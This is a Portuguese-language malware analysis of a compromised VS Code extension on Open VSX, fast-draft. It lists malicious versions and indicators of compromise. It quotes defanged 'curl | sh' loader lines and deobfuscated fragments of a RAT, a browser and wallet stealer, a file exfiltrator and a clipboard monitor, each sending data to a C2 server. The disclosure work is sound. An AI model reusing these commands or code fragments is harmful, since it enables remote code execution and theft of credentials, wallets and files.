O KhangNghiem/fast-draft extensão, listada em open-vsx.org/extension/KhangNghiem/fast-draft e agora com mais de 26.000 downloads, apresentou múltiplas versões maliciosas que executam um downloader hospedado no GitHub e baixam um RAT e infostealer de segunda fase do repositório BlokTrooper/extension. As versões maliciosas confirmadas na linha de versão que inspecionamos são 0.10.89, 0.10.105, 0.10.106, e 0.10.112.
O que torna este caso incomum é que as versões maliciosas não são contínuas. As versões até 0.10.88 parecem limpas. 0.10.111 também parece limpa, mesmo estando entre versões maliciosas, e a última versão do Open VSX até 17/03/2026, 0.10.135, também não contém o mesmo loader. Esse padrão alternado é difícil de conciliar com um mantenedor que intencionalmente distribui malware. O mais provável é um editor comprometido ou um token roubado.
Em 17/03/2026, a entrada da API Open VSX em open-vsx.org/api/KhangNghiem/fast-draft lista 0.10.135 como a versão mais recente e relata 26.594 downloads para a extensão no total. Divulgamos o problema ao mantenedor em 12/03/2026 via issue do GitHub github.com/khangnghiem/fast-draft/issues/565, que ainda estava aberta e sem comentários no momento da redação.
O Que Aconteceu
Analisar a linha de versão em ordem conta a história:
0.10.88: Aparentemente limpa. Nenhum caminho de downloader conhecido.0.10.89: Maliciosa. Introduz um downloader de shell hospedado no GitHub dentro da inicialização do editor.0.10.105: Maliciosa. Move o loader para a ativação de inicialização e adiciona um guard de uso único.0.10.106: Maliciosa. Mesmo loader de inicialização, mas o guard é removido.0.10.111: Aparentemente limpa. O caminho do downloader conhecido desaparece.0.10.112: Maliciosa. O downloader de inicialização retorna.0.10.129-135: Aparentemente limpa. Últimas versões verificadas, downloader conhecido ausente.
Esse não é o padrão de lançamento esperado de uma única build comprometida ou de um mantenedor que mudou completamente para um comportamento malicioso. Parece mais com duas linhas de lançamento concorrentes compartilhando a mesma identidade de editor.
Como o Ataque Funcionou
Todas as versões maliciosas usam o mesmo truque básico: a extensão se conecta a raw[.]githubusercontent[.]com/BlokTrooper/extension e direciona a resposta diretamente para um shell.
Em 0.10.89, a extensão busca scripts específicos da plataforma no diretório scripts/ do repositório:
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/linux.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/mac.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/windows.cmd | cmdEm 0.10.105, 0.10.106, e 0.10.112, a mesma ideia é encapsulada como um icons/${platform} fetch e vinculada à ativação da extensão, provavelmente também com o objetivo de evadir alguma detecção.
Esses scripts de plataforma então baixam arquivos ZIP, os extraem para um diretório temporário e executam um binário Node empacotado contra um payload temporário ofuscado. Já analisamos esse payload em uma análise separada. Não é um stub de teste inofensivo. Ele implanta quatro módulos paralelos:
- Um RAT Socket.IO com controle de mouse, teclado, captura de tela e área de transferência
- Um stealer de navegador e carteira que visa senhas salvas, Web Data e 25 extensões de carteira de criptomoedas
- Um módulo de exfiltração de arquivos que carrega recursivamente documentos, chaves, configurações, código-fonte e Secrets
- Um monitor de área de transferência que envia o conteúdo copiado de volta para o C2
A infraestrutura é a mesma cadeia BlokTrooper/extension que desofuscamos anteriormente, com valores de configuração resolvendo para 195[.]201[.]104[.]53, e portas ativas 6931, 6936, e 6939.
A Prova Irrefutável
A versão maliciosa 0.10.112 build restaura a ativação na inicialização e o downloader bruto do GitHub:
const fileName = platform === "win32" ? " | cmd" : " | sh";
const cdnUrl = `curl ${protocol}${separator}${host}${path2}${fileName}`;
(0, import_child_process.exec)(cdnUrl, (error, responses) => {...A última build limpa verificada, 0.10.135, não apresenta o mesmo caminho. Sua lógica de ativação registra o provedor do editor e outras funcionalidades da extensão, mas o downloader BlokTrooper está ausente.
Essa diferença importa mais do que o ruído heurístico genérico de scanners estáticos. Este caso exigiu uma revisão manual versão por versão porque as builds limpas ainda empacotam a execução normal de processos e integrações de provedores de IA que podem parecer suspeitas para regras simplistas.
O Que a Segunda Etapa Realmente Faz
A segunda etapa é onde isso se transforma de um downloader suspeito em um comprometimento completo.
O wrapper externo temp wrapper reconstrói o endereço C2 a partir de octetos IP hardcoded, suprime erros de tempo de execução com process.on('uncaughtException', ()=>{}), e gera quatro processos filhos Node desanexados com node -e. Em outras palavras, a extensão não apenas puxa um payload. Ela puxa um pequeno framework de ataque que se ramifica em tarefas concorrentes separadas.
process.on(..., function(a7) {});
process.on(..., function(a7) {});
var Q = N.a;
var R = N.b;
var T = N.c;
var U = N.d;...
var a3 = ''.concat(Q, '.').concat(R, '.').concat(T, '.').concat(U);
var a4 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);
var a5 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);Isso vem diretamente do wrapper desofuscado e mostra o operador ocultando falhas enquanto reconstrói strings IP a partir de campos de configuração, em vez de armazená-las como texto simples.
ab = ...;
M(..., ['-e', ab], {
windowsHide: true,
detached: true,
stdio: ...
});
ac = ...;
M(..., ['-e', ac], {
windowsHide: true,
detached: true,
stdio: ...
});
ad = ...;
M(..., ['-e', ad], {
windowsHide: true,
detached: true,
stdio: ...
});
ae = ...;
M(..., ['-e', ae], {
windowsHide: true,
detached: true,
stdio: ...
});Este é o ponto de controle chave da fase 2: um script de inicialização inicia quatro módulos separados em memória e os desanexa para que possam continuar executando independentemente em segundo plano.
Módulo 1: RAT de Área de Trabalho Remota
O primeiro processo filho se conecta de volta a http://195[.]201[.]104[.]53:6931 via Socket.IO e expõe um canal completo de controle remoto.
Ele suporta comandos para:
- movimento do mouse, cliques e rolagem
- pressionamentos de tecla e combinações de teclas
- capturas de tela com compressão JPEG
- leituras e gravações da área de transferência
- consulta de dimensões da tela
- criação de perfil do sistema e controle de sessão
O conjunto de dependências empacotado dentro do ZIP corresponde exatamente a essas capacidades:
"node_modules/@nut-tree-fork/nut-js": {
"version": "4.2.6"
}, "node_modules/clipboardy": {
"version": "5.3.1"
}, "node_modules/screenshot-desktop": {
"version": "1.15.3"
}, "node_modules/sharp": {
"version": "0.34.5"
}, "node_modules/socket.io-client": {
"version": "4.8.3"
}Por si só, as dependências não são suficientes para provar comportamento malicioso. Neste caso, elas importam porque se alinham com o layout do módulo já desofuscado: tarefas remotas via Socket.IO, captura de desktop, processamento de imagem, acesso à área de transferência e automação completa de teclado e mouse.
O payload também verifica se está sendo executado em uma VM procurando por strings como vmware, virtualbox, qemu, kvm, e xen em informações de sistema específicas da plataforma. Ele não para quando encontra uma VM. Ele simplesmente rotula o host e continua. Ele também mantém um bloqueio PID singleton em ~/.npm/ para que não empilhe múltiplas instâncias na mesma máquina.
Módulo 2: Roubo de Navegador e Carteira
O segundo processo filho percorre perfis de navegador para Chrome, Edge, Brave, Opera e LT Browser em macOS, Linux e Windows. Para cada perfil, ele rouba:
- Dados de Login
- Dados de Login para Conta
- Dados da Web
- Estado LevelDB de extensões de carteira
O direcionamento da carteira é amplo, não incidental. A lista codificada inclui MetaMask, Phantom, TronLink, Trust Wallet, Coinbase Wallet, OKX, Solflare, Rabby, Keplr, UniSat, Enkrypt, Bitget, SafePal, TON Wallet, Petra, Pontem, Nami, Sender, Slope, Halo e CoinStats, entre outros. No macOS, ele também captura ~/Library/Keychains/login.keychain.
Os dados são preparados em ~/npm-cache/__tmp__/cldbs/ e enviados para http://195[.]201[.]104[.]53:6936/upload. Após a varredura inicial, o ladrão continua consultando novos arquivos LevelDB a cada 100 segundos, o que significa que ele é construído para capturar mudanças de estado da carteira ao longo do tempo, em vez de fazer apenas um único ataque rápido.
A decodificação fresca do estágio 2 nos dá uma visão mais clara do módulo de roubo de navegador. Ele codifica IDs de extensão de carteira e então itera sobre dados de perfil de navegador, bancos de dados de login e estado de extensão baseado em LevelDB:
const wps = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "jblndlipeogpafnldhgmapagcccfchpi"];
await c[z(0x238)](uf, g + '/' + j + z(0x241));
await c[z(0x22b)](uf, g + '/' + j + z(0x1ee));
await c[z(0x1d6)](uf, g + '/' + j + z(0x208));
for (let k of wps) {
const l = g + '/' + j + z(0x248) + k;No mesmo blob decodificado, essas constantes de caminho se resolvem em /Dados de Login, /Dados de Login para Conta, /Dados da Web, e /Configurações de Extensão Local/, enquanto o uploader usa FormData, fs.createReadStream, /cldbs, e /upload.
const f = new FormData();
f.append(e[y(0x1fc)], fs[y(0x20e)](c));
const g = await axios[y(0x1e4)](uu, f, {
headers: {
...f[y(0x239)](),
path: d[y(0x1fb)](e[y(0x21a)], e[y(0x1ba)])
}
});Módulo 3: Roubo de Documentos e Segredos
O terceiro processo filho verifica recursivamente o diretório inicial, ou todas as unidades no Windows, em busca de arquivos sensíveis. Os padrões de destino incluem:
*.docx,*.xlsx,*.xls,*.csv,*.pdf,*.doc,*.odt,*.rtf*.md,*.txt,*.js,*.ts,*.json,*.ini*.env*,*.pem,*.secret- formatos de imagem comuns
A lista de exclusão também é reveladora. Ela ignora caminhos ruidosos como node_modules, .git, dist, e build, mas também ignora explicitamente pastas como .windsurf, .pearai, .claude, .cursor, .brownie, e openzeppelin. Isso sugere que o operador não está apenas roubando arquivos aleatórios. Eles sabem que máquinas de desenvolvedores, ferramentas de criptografia e ambientes de codificação assistidos por IA são alvos de alto valor.
As strings decodificadas de roubo de arquivos são explícitas sobre o que é coletado e o que é ignorado:
const u = [".github", "*.env*", ".sqlite", "*.csv", "*.pdf", ".zsh_history", ".ssh", ".pub-cache", ".vscode"];
"node_modules", ".brownie", "AppData", "*.docx", ".cursor", ".claude", "openzeppelin", ".windsurf"Isso é ajustado para estações de trabalho de desenvolvedores, árvores de código-fonte, material de chave, histórico de shell e estados locais de alto valor de ambientes de codificação modernos.
Módulo 4: Vigilância da Área de Transferência
O quarto processo filho consulta a área de transferência a cada poucos segundos e espera que o conteúdo se estabilize antes de enviá-lo ao C2.
- No macOS, ele usa
pbpaste - No Windows, ele executa
powershell -NoProfile -NonInteractive Get-Clipboard - No Linux, ele recorre a
clipboardy
Conteúdos alterados da área de transferência são enviados para /api/service/makelog, o que significa que frases semente, senhas, chaves de API e códigos de recuperação copiados podem ser exfiltrados mesmo que nunca sejam gravados em disco.
O blob de string decodificado do módulo da área de transferência é incomumente direto:
"/api/service/makelog","pbpaste","powershell -NoProfile -NonInteractive Get-Clipboard","child_process","http://"Essas strings estão juntas no código da área de transferência de estágio 2 e correspondem ao comportamento anterior que observamos durante a desofuscação: coleta da área de transferência específica da plataforma seguida pelo envio para a rota de log do operador.
A Diferença Limpa Importa
As versões limpas são o que tornam este caso digno de análise como um provável comprometimento do editor, em vez de apenas “uma extensão que se tornou maliciosa”.
Verificamos manualmente 0.10.88, 0.10.111, e 0.10.129-135 para os indicadores concretos presentes nas builds maliciosas:
- raw[.]githubusercontent[.].com/BlokTrooper
- o guard fd.onlyOncePlease usado pelo carregador de inicialização
- socket.io-client
- /upload
- /cldbs
- pbpaste
- Get-Clipboard
Esses indicadores conhecidos estavam ausentes nas versões de aparência limpa, e seu fluxo de ativação parecia um registro de extensão normal, em vez de um downloader. Isso é especialmente importante para 0.10.111, que se encontra bem entre as maliciosas 0.10.106 e 0.10.112, e para 0.10.135, que é atualmente a última versão do Open VSX.
Se o mantenedor estivesse conscientemente distribuindo o malware, o histórico de versões provavelmente permaneceria malicioso até a descoberta ou limpeza. Em vez disso, vemos lançamentos maliciosos surgirem e desaparecerem enquanto a questão pública permanece sem resposta. Isso é consistente com acesso de publicação roubado ou algum outro comprometimento do caminho de lançamento.
Indicadores de Comprometimento
- ID da Extensão: KhangNghiem.fast-draft
- Versões maliciosas:
0.10.89,0.10.105,0.10.106,0.10.112 - Host de Estágio 1: raw[.]githubusercontent[.].com/BlokTrooper/extension
- IP de C2: 195[.]201[.]104[.]53
- Portas: 6931, 6936, 6939
- Rotas de Exfiltração: /upload, /cldbs, /api/service/makelog

